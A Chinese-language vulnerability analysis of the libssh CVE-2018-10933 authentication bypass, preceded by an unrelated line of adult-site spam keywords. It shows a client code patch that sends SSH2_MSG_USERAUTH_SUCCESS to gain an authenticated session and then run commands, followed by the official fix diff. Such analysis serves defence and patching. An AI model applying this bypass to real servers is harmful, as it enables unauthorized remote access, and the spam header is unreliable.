亚洲日本成人在线观看,一级作爱片,免费av软件下载

libssh CVE-2018-10933 身份驗證繞過漏洞分析報告

責編：gltian ｜2018-10-18 11:08:32

0x00 事件背景

2018-10-16 libssh發布更新公告旨在解決CVE-2018-10933的問題

libssh版本0.6及更高版本在服務端代碼中具有身份驗證繞過漏洞。通過向服務端提供SSH2_MSG_USERAUTH_SUCCESS消息來代替服務端期望啟動身份驗證的 SSH2_MSG_USERAUTH_REQUEST消息，攻擊者可以在沒有任何憑據的情況下成功進行身份驗證。進而可以進行一些惡意操作。

0x01 詳情分析

在libssh的example中已經存在一些server端的例子，測試環境則采用這些例子進行說明

這個漏洞能用，但目前就分析而言發現，無法很好的泛用，所以建議及時進行更新以免遭受影響

在libssh中以session的方式對會話進行處理，無論是server的建立還是client的連接。

均以

session = ssh_new();

進行session建立

因為這個漏洞是直接獲得AUTH所以服務端的配置和客戶端的連接認證方式等完全不用在意

簡單的client連接示例的部分代碼,以體現邏輯為主。

首先是設置一些參數，然后利用session進行連接

然后進行knownhost認證處理，這步就是平時在進行ssh連接的時候進行提醒的是否要保存信息

if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0)
    return -1;
if(ssh_connect(session)){
    fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session));
    return -1;
}
state=verify_knownhost(session);
if (state != 0)
    return -1;
auth=authenticate_console(session);
if(auth != SSH_AUTH_SUCCESS){
    return -1;
}

authenticate_console(session)

的流程為先發送一個ssh_userauth_none再根據選擇的AUTH方式，嘗試GSSAPI、PublicKey、 Password的方式

這里采用的patch掉client中發送密碼認證的時候的數據包

將第二行的SSH2_MSG_USERAUTH_REQUEST?->?SSH2_MSG_USERAUTH_SUCCESS

rc = ssh_buffer_pack(session->out_buffer, "bsssbs",
            SSH2_MSG_USERAUTH_SUCCESS,
            username ? username : session->opts.username,
            "ssh-connection",
            "password",
            0, /* false */
            password
    );

并且需要在ssh_userauth_get_response之前直接返回,因為這一步會再次向服務端進行通信，但此時受影響版本的server已經Authentication successful

這時候的session就已經可以獲得相應的權限了。通過官方的Tutorial的執行命令的例子調用ssh_channel_request_exec進行命令執行

0x02 修復分析

官方通過增加字段，并注冊額外的session狀態校驗函數進行檢驗，在處理流程中標注 session處于的狀態，避免client隨意發送SSH2_MSG_USERAUTH_SUCCESS進行bypass

+static enum ssh_packet_filter_result_e ssh_packet_incoming_filter(ssh_session session)
+    case SSH2_MSG_USERAUTH_SUCCESS:                   // 52
+        if ((session->auth_state != SSH_AUTH_STATE_KBDINT_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PUBKEY_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_PASSWORD_AUTH_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_GSSAPI_MIC_SENT) &&
+            (session->auth_state != SSH_AUTH_STATE_AUTH_NONE_SENT))
+        {
+            rc = SSH_PACKET_DENIED;
+            break;
+        }

該校驗函數判斷session的狀態是否處于?SSH_AUTH_STATE_PUBKEY_AUTH_SENT,SSH_AUTH_STATE_PASSWORD_AUTH_SENT,
SSH_AUTH_STATE_NONE_SENT這些個狀態來確認是否要接受數據包里帶有SSH2_MSG_USERAUTH_SUCCESS的情況

@@ -88,6 +88,7 @@ static int ssh_auth_response_termination(void *user){
     case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
     case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
     case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+    case SSH_AUTH_STATE_AUTH_NONE_SENT:
       return 0;
     default:
       return 1;
@@ -143,6 +144,7 @@ static int ssh_userauth_get_response(ssh_session session) {
         case SSH_AUTH_STATE_PUBKEY_OFFER_SENT:
         case SSH_AUTH_STATE_PUBKEY_AUTH_SENT:
         case SSH_AUTH_STATE_PASSWORD_AUTH_SENT:
+        case SSH_AUTH_STATE_AUTH_NONE_SENT:
         case SSH_AUTH_STATE_NONE:
             /* not reached */
             rc = SSH_AUTH_ERROR;